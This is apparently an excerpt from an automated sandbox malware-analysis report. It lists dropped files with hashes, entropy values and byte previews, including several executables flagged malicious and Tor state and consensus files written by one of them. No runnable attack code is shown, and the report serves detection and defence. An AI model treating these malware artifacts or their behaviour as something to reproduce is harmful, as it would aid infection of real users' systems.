Size (bytes):	1019
Entropy (8bit):	5.236946495216897
Encrypted:	false
SSDEEP:	24:YqHZ6T06Mhm4ymNib0O0bihmCetmKg6CUXyhmimKgbxdB6hmjmKgz0JahmcmKgbR:YqHZ6T06McoEb0O0bicCewHDUXycLHbR
MD5:	5D20D9B3F928AC964E07C561FD8A3F42
SHA1:	B702BE149FCF94831A975F2CD06B2DFE020D9632
SHA-256:	59A4F22870D7A7DC3339917C89FF6AF09FA762AF39F0624338FDDFF631730492
SHA-512:	30E5F275FFB475A403439C3A4DCC05F3E12A6914D93F20EB38AF3240A7F693A455C25C005A3681AB39C89BFAD9AE66FAAE3874B987FAC48BB6A5439194FDCEDC
Malicious:	false
Preview:	{"RecentItems":[{"AppID":"Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge","PenUsageSec":15,"LastSwitchedLowPart":7763552,"LastSwitchedHighPart":31061488,"PrePopulated":true},{"AppID":"Microsoft.WindowsCommunicationsApps_8wekyb3d8bbwe!Microsoft.WindowsLive.Mail","PenUsageSec":15,"LastSwitchedLowPart":4292730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.Office.OneNote_8wekyb3d8bbwe!microsoft.onenoteim","PenUsageSec":15,"LastSwitchedLowPart":4282730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.Windows.Photos_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":4272730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.MSPaint_8wekyb3d8bbwe!Microsoft.MSPaint","PenUsageSec":15,"LastSwitchedLowPart":4262730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.WindowsMaps_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":4252730848,"LastSwitchedHighPart":31061487,"Pr

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	5.354902188542171
Encrypted:	false
SSDEEP:	48:CWSU4y4RQmFoUeWmfgZ9tK8NPdMs7u1iMuge//ZLnOUyu0lhV:CLHyIFKL3IZ2KlDOug4T01
MD5:	7E45375764A5B85520DB515AAC716E46
SHA1:	3B9A54FAD799F95A132E70FDD3076D8A6139B503
SHA-256:	A6723A6E7F8AAC4EFEA376F5CF42B7A434BAADFB9F7B151706B00B7A8865B30A
SHA-512:	06E2BB19E274DF2F548CCC61B20791D862E9E27A434CCE7A7A8EC7910294C99EE3695C98A6DD63853B239332BFFB1D0CCB69500E38C4C69F53C9B38CBC87F7D3
Malicious:	false
Preview:	@...e...........................................................P................1]...E.....m.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\4KPV6A~1\cached-certs (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\5316.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	20852
Entropy (8bit):	6.05147791645295
Encrypted:	false
SSDEEP:	384:7d24ZFtVf1hc1xFU4WGYgVVdz31hib50IU4mV91h5f/40VVq1h8PXtc2q48XVd9/:Z2M1ux6ddgV/T+b+3jntHJiO98nX98RK
MD5:	A366C9F1CA58CF4DADBEBF80E3A2DA9E
SHA1:	B286C9E9BA189091423D077F2610775F10793976
SHA-256:	17FC911AFAD044E01302428A67B3FF1867FD328395BBE54678A4C04DFABF1D14
SHA-512:	2781D922A729738119EA90B6115A933492BCD60EC1C0B2C4B3777B0D6DD4C39F54FD2E56CEECD536BDD7DCAF36B089231817C1DF4CA42A74842818C4F107E718
Malicious:	false
Preview:	dir-key-certificate-version 3..fingerprint ED03BB616EB2F60BEC80151114BB25CEF515B226..dir-key-published 2023-03-05 22:55:19..dir-key-expires 2024-03-05 22:55:19..dir-identity-key..-----BEGIN RSA PUBLIC KEY-----..MIIBigKCAYEA1d6uTRiqdMp4BHBYIHKR6NB599Z1Bqw4TbOVkM2N1aSA4V/L/hKI..nl6m/2LL/UAS+E3NCFX0dhw2+D7r7BTJyfGwz0H2MR6Py5/rCMAnPl20wCjXk2qY..ACQa0rJvIqXobwGnDlvxn4ezsj0IEY/FEb61zHnnPHf6d3uyFR1QT06qEOQyYzML..76f/Lud8MUt+8KzsdnadAPL8okNvcS/nqa2bWbbGhC8S8rtDpPg5BhX2ikXa88RM..QdrrackdppB2ttHlq9+iH3c8Wyp7bvdH8uhv410W7RnIE4P+KIxt3L0gqkxCjjyh..mn9ONcdgNOKe31q2cdW5LOPSIK+I5/VTjYjICza7Euyg03drpoBMGLuuJZY6FXEV..auIBncWe+So8FMxqU/fwo5xm6x085U1MwXUmi4XDYpr/kau6ytPnzzw9J++4W9iC..em5Jp0vaxrDnPdphqT0FWsBAwsZFL7nZRnmUlTgGsXUa0oSM9/MErDwzELh/NwG4..DNyyzRG8iP61AgMBAAE=..-----END RSA PUBLIC KEY-----..dir-signing-key..-----BEGIN RSA PUBLIC KEY-----..MIIBCgKCAQEAvaQxritqKpbDk3YHM5nZdb7HiyF9oJ8jgxja4uwda5+q7JD4ZDSp..fZPR5jet7Ceijf69XjniJQB7HOQOwWe4QDujylFMRYT/JlBlWGQd+48UXdgyjJ/a..6p0pOp7mus6956GRwijqL8uvFQYK

C:\Users\user\AppData\Local\Temp\4KPV6A~1\cached-microdesc-consensus (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\5316.exe
File Type:	ASCII text, with very long lines (1006)
Category:	dropped
Size (bytes):	2858808
Entropy (8bit):	5.612462496747913
Encrypted:	false
SSDEEP:	12288:m8D5/BSOITN+HUhc3T/2E6HPvB/vETWBgezYVplnM5aJoGQ6vfUui2gmWWmfG7:me/cOe8Us/0J/cCBka5gpvI3WmfG7
MD5:	35BB3B417951F3107FCC0B7F353F73DF
SHA1:	7B11D82B23EC0A43B53AEAC0D0F82CB8AC905E19
SHA-256:	C72FA3C8EB147F4B111CE5823FC42D63F3EDCE31AF2A7243D421EF7A37BE5E60
SHA-512:	29334DF5A64FDE8A57C3601935B6F8938906657C7465FFF04D8F8D2484440855CE289DF4BDBFCF2B995B708F67C8804D34F70C35E451AAAEE4D271EA5FF5DD36
Malicious:	false
Preview:	network-status-version 3 microdesc.vote-status consensus.consensus-method 33.valid-after 2023-12-20 02:00:00.fresh-until 2023-12-20 03:00:00.valid-until 2023-12-20 05:00:00.voting-delay 300 300.client-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13,0.4.7.14,0.4.7.15,0.4.7.16,0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10.server-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13,0.4.7.14,0.4.7.15,0.4.7.16,0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10.known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid.recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2.recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2.require

C:\Users\user\AppData\Local\Temp\4KPV6A~1\state (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\5316.exe
File Type:	ASCII text, with very long lines (373), with CRLF line terminators
Category:	dropped
Size (bytes):	4262
Entropy (8bit):	5.321443670544176
Encrypted:	false
SSDEEP:	96:sbXtiCfeeRzGTuasfkrlWdU4vGC3lc2F5fkMG:qfnKuZfrUqnhG
MD5:	85E18414F9247195A062978485BFB0D3
SHA1:	09D7555645506435DDFB68A2D5259F9A3A1B7831
SHA-256:	8D0670085A36F9AB33F958E9EB30081BBAEBDB1A991D7628982B2065B3AA21E0
SHA-512:	5744BCC30541D623862112A7D3C412AEF13F84475237BF6C8DB1F07E1183CA08B64FFF9079CB4A6F0C8051ADA35618985903949AD508C1E91D56C28A5F67D556
Malicious:	false
Preview:	# Tor state file last generated on 2023-12-20 03:15:54 local time..# Other times below are in UTC..# You do not need to edit this file.....CircuitBuildTimeBin 825 1..CircuitBuildTimeBin 925 1..CircuitBuildTimeBin 975 2..CircuitBuildTimeBin 1225 2..CircuitBuildTimeBin 1275 1..CircuitBuildTimeBin 1325 2..CircuitBuildTimeBin 1425 1..CircuitBuildTimeBin 1775 1..CircuitBuildTimeBin 1975 1..CircuitBuildTimeBin 2025 1..CircuitBuildTimeBin 2475 1..CircuitBuildTimeBin 3175 1..CircuitBuildTimeBin 4075 1..CircuitBuildTimeBin 16475 1..Dormant 0..Guard in=default rsa_id=B1FE4BE9DD33376DADC22D271803097E1AE8B35E nickname=HandStanderd sampled_on=2023-12-13T03:56:13 sampled_idx=0 sampled_by=0.4.4.9 listed=1 confirmed_on=2023-12-14T06:48:21 confirmed_idx=0 pb_use_attempts=6.000000 pb_use_successes=6.000000 pb_circ_attempts=10.000000 pb_circ_successes=8.000000 pb_successful_circuits_closed=8.000000 pb_timeouts=1.000000..Guard in=default rsa_id=53C50FDFE42D6EC835C61EBD78BADD51677D6907 nickname=flowjob05

C:\Users\user\AppData\Local\Temp\4KPV6A~1\unverified-microdesc-consensus (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\5316.exe
File Type:	ASCII text, with very long lines (1006)
Category:	dropped
Size (bytes):	2858808
Entropy (8bit):	5.612462496747913
Encrypted:	false
SSDEEP:	12288:m8D5/BSOITN+HUhc3T/2E6HPvB/vETWBgezYVplnM5aJoGQ6vfUui2gmWWmfG7:me/cOe8Us/0J/cCBka5gpvI3WmfG7
MD5:	35BB3B417951F3107FCC0B7F353F73DF
SHA1:	7B11D82B23EC0A43B53AEAC0D0F82CB8AC905E19
SHA-256:	C72FA3C8EB147F4B111CE5823FC42D63F3EDCE31AF2A7243D421EF7A37BE5E60
SHA-512:	29334DF5A64FDE8A57C3601935B6F8938906657C7465FFF04D8F8D2484440855CE289DF4BDBFCF2B995B708F67C8804D34F70C35E451AAAEE4D271EA5FF5DD36
Malicious:	false
Preview:	network-status-version 3 microdesc.vote-status consensus.consensus-method 33.valid-after 2023-12-20 02:00:00.fresh-until 2023-12-20 03:00:00.valid-until 2023-12-20 05:00:00.voting-delay 300 300.client-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13,0.4.7.14,0.4.7.15,0.4.7.16,0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10.server-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13,0.4.7.14,0.4.7.15,0.4.7.16,0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10.known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid.recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2.recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2.require

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\cached-certs.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\5316.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	20852
Entropy (8bit):	6.05147791645295
Encrypted:	false
SSDEEP:	384:7d24ZFtVf1hc1xFU4WGYgVVdz31hib50IU4mV91h5f/40VVq1h8PXtc2q48XVd9/:Z2M1ux6ddgV/T+b+3jntHJiO98nX98RK
MD5:	A366C9F1CA58CF4DADBEBF80E3A2DA9E
SHA1:	B286C9E9BA189091423D077F2610775F10793976
SHA-256:	17FC911AFAD044E01302428A67B3FF1867FD328395BBE54678A4C04DFABF1D14
SHA-512:	2781D922A729738119EA90B6115A933492BCD60EC1C0B2C4B3777B0D6DD4C39F54FD2E56CEECD536BDD7DCAF36B089231817C1DF4CA42A74842818C4F107E718
Malicious:	false
Preview:	dir-key-certificate-version 3..fingerprint ED03BB616EB2F60BEC80151114BB25CEF515B226..dir-key-published 2023-03-05 22:55:19..dir-key-expires 2024-03-05 22:55:19..dir-identity-key..-----BEGIN RSA PUBLIC KEY-----..MIIBigKCAYEA1d6uTRiqdMp4BHBYIHKR6NB599Z1Bqw4TbOVkM2N1aSA4V/L/hKI..nl6m/2LL/UAS+E3NCFX0dhw2+D7r7BTJyfGwz0H2MR6Py5/rCMAnPl20wCjXk2qY..ACQa0rJvIqXobwGnDlvxn4ezsj0IEY/FEb61zHnnPHf6d3uyFR1QT06qEOQyYzML..76f/Lud8MUt+8KzsdnadAPL8okNvcS/nqa2bWbbGhC8S8rtDpPg5BhX2ikXa88RM..QdrrackdppB2ttHlq9+iH3c8Wyp7bvdH8uhv410W7RnIE4P+KIxt3L0gqkxCjjyh..mn9ONcdgNOKe31q2cdW5LOPSIK+I5/VTjYjICza7Euyg03drpoBMGLuuJZY6FXEV..auIBncWe+So8FMxqU/fwo5xm6x085U1MwXUmi4XDYpr/kau6ytPnzzw9J++4W9iC..em5Jp0vaxrDnPdphqT0FWsBAwsZFL7nZRnmUlTgGsXUa0oSM9/MErDwzELh/NwG4..DNyyzRG8iP61AgMBAAE=..-----END RSA PUBLIC KEY-----..dir-signing-key..-----BEGIN RSA PUBLIC KEY-----..MIIBCgKCAQEAvaQxritqKpbDk3YHM5nZdb7HiyF9oJ8jgxja4uwda5+q7JD4ZDSp..fZPR5jet7Ceijf69XjniJQB7HOQOwWe4QDujylFMRYT/JlBlWGQd+48UXdgyjJ/a..6p0pOp7mus6956GRwijqL8uvFQYK

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\cached-microdesc-consensus.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\5316.exe
File Type:	ASCII text, with very long lines (1006)
Category:	dropped
Size (bytes):	2858808
Entropy (8bit):	5.612462496747913
Encrypted:	false
SSDEEP:	12288:m8D5/BSOITN+HUhc3T/2E6HPvB/vETWBgezYVplnM5aJoGQ6vfUui2gmWWmfG7:me/cOe8Us/0J/cCBka5gpvI3WmfG7
MD5:	35BB3B417951F3107FCC0B7F353F73DF
SHA1:	7B11D82B23EC0A43B53AEAC0D0F82CB8AC905E19
SHA-256:	C72FA3C8EB147F4B111CE5823FC42D63F3EDCE31AF2A7243D421EF7A37BE5E60
SHA-512:	29334DF5A64FDE8A57C3601935B6F8938906657C7465FFF04D8F8D2484440855CE289DF4BDBFCF2B995B708F67C8804D34F70C35E451AAAEE4D271EA5FF5DD36
Malicious:	false
Preview:	network-status-version 3 microdesc.vote-status consensus.consensus-method 33.valid-after 2023-12-20 02:00:00.fresh-until 2023-12-20 03:00:00.valid-until 2023-12-20 05:00:00.voting-delay 300 300.client-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13,0.4.7.14,0.4.7.15,0.4.7.16,0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10.server-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13,0.4.7.14,0.4.7.15,0.4.7.16,0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10.known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid.recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2.recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2.require

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\cached-microdescs.new

Download File

Process:	C:\Users\user\AppData\Local\Temp\5316.exe
File Type:	ASCII text, with very long lines (12354)
Category:	modified
Size (bytes):	22149282
Entropy (8bit):	4.81462089707837
Encrypted:	false
SSDEEP:	24576:tQPn1N7SQy5TK109L2HDy6K3o1orrgRzMswjFzYfhhlJeANS50mnG2btz8rKmvyN:mQXb9+Ns7O/UCIu5eWp8y2GUB
MD5:	B7349DC5907C9E92AC4B240C6CF8C1B6
SHA1:	1C3EF94D88036BB88A386FC2A9D3A71ABCAC1018
SHA-256:	CBAA7173642FC3504FB2154EBA30C6AB75DDB3358C397077A5A55A12BFC8CF11
SHA-512:	9C2617562C896A26332B4B857F5575D7CC1723314FB0A004C8BA567842511585F56E78445A2A4096AF1396B805A4A0883933FB82471468E66D144D0C52E89EB1
Malicious:	false
Preview:	@last-listed 2023-12-20 02:12:38.onion-key.-----BEGIN RSA PUBLIC KEY-----.MIGJAoGBALViJIiI6ndKfaRNwe9iBScAYloulpdZEG04jbmmyCCUtmyf/K7iaA80.dCoNgkzOpdH62c6rYoz+AjlCEwO/DHN1fC6Xv2BVYUZInHEi2XcrLV2b4XzRYvxn.yQ6q9xn8AQV01M1qSK1hp8sYCIQLk59sMGcgtlx2g88YOoxnL123AgMBAAE=.-----END RSA PUBLIC KEY-----.ntor-onion-key cZ1W8fhoTuNcOUXboyd/Xu/6jY4lC+kU7Gbj1eiRpn4.id ed25519 TDTzAZTXIcV+uEl7P6gEgmu1RvUSYzuMxwxV+eWyFno.@last-listed 2023-12-20 02:12:38.onion-key.-----BEGIN RSA PUBLIC KEY-----.MIGJAoGBAMxwMayyAhl/1mYZ2bS4uY2t9Zqk30+0drLU9BT+c3NlyhfBG1cH7ger.z4/HREWtdVl2xAiwj64Zg/LF3Tqky/BpkWh3Sx93FKJppUSmB790922Qf/sCc+lY.ppnBDZ5QFeq3nypYqEesrq8HWnwFCgOaZY32zFLK8m9xFIemnn8XAgMBAAE=.-----END RSA PUBLIC KEY-----.ntor-onion-key 01SIuITQ717lvnJTJJoRESLXzYaq7sQKacVT9m//IgI.family $004F9A0513C84E72054CEB555DB51EEEF319546D $0055DB090820D7C08999EC1598FD6EA6365861AD $008F10F88397C11C062217EAC35D782F03BDF4C7 $009EF5F8572D671AFCBBAD65998BA35B50EE04BC $00BD33C25A006BA95103D3E8043FA7EF1E2BCA6C $00FB85B65AC2F460CD46A

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\state.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\5316.exe
File Type:	ASCII text, with very long lines (373), with CRLF line terminators
Category:	dropped
Size (bytes):	4262
Entropy (8bit):	5.321443670544176
Encrypted:	false
SSDEEP:	96:sbXtiCfeeRzGTuasfkrlWdU4vGC3lc2F5fkMG:qfnKuZfrUqnhG
MD5:	85E18414F9247195A062978485BFB0D3
SHA1:	09D7555645506435DDFB68A2D5259F9A3A1B7831
SHA-256:	8D0670085A36F9AB33F958E9EB30081BBAEBDB1A991D7628982B2065B3AA21E0
SHA-512:	5744BCC30541D623862112A7D3C412AEF13F84475237BF6C8DB1F07E1183CA08B64FFF9079CB4A6F0C8051ADA35618985903949AD508C1E91D56C28A5F67D556
Malicious:	false
Preview:	# Tor state file last generated on 2023-12-20 03:15:54 local time..# Other times below are in UTC..# You do not need to edit this file.....CircuitBuildTimeBin 825 1..CircuitBuildTimeBin 925 1..CircuitBuildTimeBin 975 2..CircuitBuildTimeBin 1225 2..CircuitBuildTimeBin 1275 1..CircuitBuildTimeBin 1325 2..CircuitBuildTimeBin 1425 1..CircuitBuildTimeBin 1775 1..CircuitBuildTimeBin 1975 1..CircuitBuildTimeBin 2025 1..CircuitBuildTimeBin 2475 1..CircuitBuildTimeBin 3175 1..CircuitBuildTimeBin 4075 1..CircuitBuildTimeBin 16475 1..Dormant 0..Guard in=default rsa_id=B1FE4BE9DD33376DADC22D271803097E1AE8B35E nickname=HandStanderd sampled_on=2023-12-13T03:56:13 sampled_idx=0 sampled_by=0.4.4.9 listed=1 confirmed_on=2023-12-14T06:48:21 confirmed_idx=0 pb_use_attempts=6.000000 pb_use_successes=6.000000 pb_circ_attempts=10.000000 pb_circ_successes=8.000000 pb_successful_circuits_closed=8.000000 pb_timeouts=1.000000..Guard in=default rsa_id=53C50FDFE42D6EC835C61EBD78BADD51677D6907 nickname=flowjob05

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\unverified-microdesc-consensus.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\5316.exe
File Type:	ASCII text, with very long lines (1006)
Category:	dropped
Size (bytes):	2858808
Entropy (8bit):	5.612462496747913
Encrypted:	false
SSDEEP:	12288:m8D5/BSOITN+HUhc3T/2E6HPvB/vETWBgezYVplnM5aJoGQ6vfUui2gmWWmfG7:me/cOe8Us/0J/cCBka5gpvI3WmfG7
MD5:	35BB3B417951F3107FCC0B7F353F73DF
SHA1:	7B11D82B23EC0A43B53AEAC0D0F82CB8AC905E19
SHA-256:	C72FA3C8EB147F4B111CE5823FC42D63F3EDCE31AF2A7243D421EF7A37BE5E60
SHA-512:	29334DF5A64FDE8A57C3601935B6F8938906657C7465FFF04D8F8D2484440855CE289DF4BDBFCF2B995B708F67C8804D34F70C35E451AAAEE4D271EA5FF5DD36
Malicious:	false
Preview:	network-status-version 3 microdesc.vote-status consensus.consensus-method 33.valid-after 2023-12-20 02:00:00.fresh-until 2023-12-20 03:00:00.valid-until 2023-12-20 05:00:00.voting-delay 300 300.client-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13,0.4.7.14,0.4.7.15,0.4.7.16,0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10.server-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13,0.4.7.14,0.4.7.15,0.4.7.16,0.4.8.1-alpha,0.4.8.2-alpha,0.4.8.3-rc,0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10.known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid.recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2.recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2.require

C:\Users\user\AppData\Local\Temp\5316.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2021376
Entropy (8bit):	7.91258925332053
Encrypted:	false
SSDEEP:	49152:nQCcNRNesmcy+R1ILb5yQSa+k38buZWQZ7AL4PP8O:nVcNRpy+cf5yQAihv7i4HJ
MD5:	F5404C44B8FB624AD16068D23D269886
SHA1:	CB5F72CEA1EC6BAA806AD12359BECC29F9D8EA90
SHA-256:	ACF231E2E45D787EC58F155B0D6EB302126558F6AACE15002A7F2C1CB653899D
SHA-512:	C2A27273644A6723C4EEDAE0601DD75C638F30A4844B1AC4297910FB331BD6EBFFAA126BEDD54F6CF2555C2E3B18006EC404574CF916566239204836696974F7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...K..c......................D......0............@...........................`......q..........................................d....._............................................................0...@............................................text............................... ..`.rdata...L.......N..................@..@.data.....B.........................@....rsrc........._.....................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5828.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	612926
Entropy (8bit):	7.025396880146087
Encrypted:	false
SSDEEP:	12288:WWYgboyfAusHXVUVsASiIqFtmfNK/FVKL4KgKXX/mH65YLwl5r9O+aP8Qb0mWjja:VYgboyfAusHXVUVsASiIqFtaNK/DU4KK
MD5:	8A101714BBA78B3C92ADA03B154F84D2
SHA1:	563F01B3DE3C3ECFBBBB092B6A33151B3C6AF40C
SHA-256:	B69028094F18C956922692B61F275BBFA86413F80BDEA1BE51318B42F17848AD
SHA-512:	B4E052FE8FABFC76747122E25C09462CC4F6C3150D6D5C505A4A32F6F0E92F22497E662A2632922AFACF42E95175F3601734894996E3883C190DBBA0BA770D9C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 52%
Preview:	MZ......................@...................................8...Vestibulum pulvinar rhoncus fermentum. Curabitur lobortis vehicula molestie. Aenean dapibus libero lacinia lorem ullamcorper, eu consequat augue consequat. Suspendisse sollicitudin ut lacus sed facilisis. Suspendisse laoreet sed nibh sed vestibulum. Etiam velit lacus, auctor sed lobortis ac, suscipit sit amet nibh. Fusce et ullamcorper odio, viverra imperdiet justo. Integer quis sodales est. Aliquam tempus elit ut lectus feugiat viverra. Praesent finibus lacus in lorem sodales, eu interdum sem sagittis. Sed euismod lectus massa, ultrices pulvinar tortor rutrum vel. Nullam nec risus eros. Phasellus id fermentum ligula. Proin enim nisl, mollis commodo accumsan ut, tempor sed mauris. Nulla facilisi. Nullam rutrum velit malesuada vulputate pretium...Nunc venenatis, nisi sit amet ullamcorper viverra, diam dui venenatis nibh, in feugiat dolor lacus sit amet arcu. Nulla lacinia dolor eget ipsum ornare, nec vehicula massa placerat

C:\Users\user\AppData\Local\Temp\5D69.dll

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2330624
Entropy (8bit):	7.9497213910635605
Encrypted:	false
SSDEEP:	49152:v4VKmCrCq+QD5OjtPw5Ns5caLw+3xtfiFLxre9iCQb/Zyg:v4gmCryoYgza/3xtfiRJcg
MD5:	58CBFFAA73378B586E2B5B1F3254CDE4
SHA1:	13EE2217D33A1D9A2B141C19D8502FC13120C6EA
SHA-256:	CEC8A4E66C9365D3797EC04E9AEA8A7F7C27084E27AFCF0455EAD3EED5E7F9A7
SHA-512:	0295794336605AEC658BC15AFE695B9D808024BA87F0486168F8C6FE057B8FB710762BF84B1B7E384B68FB39942B9FAE37A70D26DF58545F5FAAC3EE46203926
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 35%
Preview:	MZ......................@...................................P...^......B...B...B..AB...B\|t.Bj..B.."Bb..B...BP..B.q.B...B...C'..B=\.Bj..B..<BQ..B..LBR..B.."B)..Bt..C...B?..B...B...Cs..B...C...B.].B[..B...C4..B.].BT..B...C ..B?..BB..B.q.B...B...BP..B=\.BY..B=\.B:..B...C...B.v.B...BRich...B................................................PE..L....)G...........!.....0....,..F...........@................................#.....................................(.......4\........".......................#..q...@...............................................@..x............................text...0*.......0..................9..`.rdata.......@... ...@..............@..@.data.......`.......`..............@....code...............................@....rsrc.........".......".............i..@.reloc.......#.......#.............@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7017.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	8885269
Entropy (8bit):	7.914736904189853
Encrypted:	false
SSDEEP:	196608:EgJCU/9onJ5hrZEce9tGPqKM48RmU/3ZlsPv4TbOTvN8CsnHC:VJj9c5hlEiPNMtN3ZW43OTqi
MD5:	033576B4B54E5CB69EC8491FF6624C9F
SHA1:	CEA7579E77BD6814976D39A4A8B3765ACA8A36E6
SHA-256:	F3451E6CC0C2C03F52BF1DD6CFBED33A43188D08B7410B189E986A91F75D6F7E
SHA-512:	3ACCECD939419E88CB7267D9563A80679B07804DFC71924F8523D28A098515E105E48B9D315504CD85BDA993FD5BA62BE2F1851037057E36B531EA56C07BDA9B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
